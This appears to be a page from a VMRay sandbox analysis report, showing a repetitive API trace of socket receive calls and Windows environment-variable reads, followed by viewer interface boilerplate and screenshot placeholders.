Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 16416 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 6756 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 9660, size_out = 9660 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 2654 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 13762, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 10858, size_out = 10858 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 521 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3127, size_out = 3127 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 5812 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 10604, size_out = 10604 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 5922 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 10494, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 9042, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7590, size_out = 7590 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 7540 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8876, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7424, size_out = 7424 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 5639 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 10777, size_out = 10777 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 7577 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8839, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7387, size_out = 7387 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 7831 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8585, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7133, size_out = 7133 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 3729 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 12687, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 11235, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 9783, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8331, size_out = 8331 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 16416 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 8593 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7823, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 6371, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3467, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 2015, size_out = 2015 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 13203 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3213, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1761, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 309, size_out = 309 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 3293 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 13123, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 11671, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8767, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7315, size_out = 7315 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 7747 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8669, size_out = 8669 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 8093 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8323, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 6871, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5419, size_out = 5419 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 4055 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 12361, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 10909, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 8005, size_out = 8005 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 8433 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7983, size_out = 7983 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 8919 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 7497, size_out = 7497 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 16416 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 16416, size_out = 12331 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4085, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 2633, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 1181, size_out = 1181 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 5, size_out = 5 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 3648, size_out = 3648 True 1
Fn
Data
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
Environment Get Environment String name = MshEnableTrace False 14
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image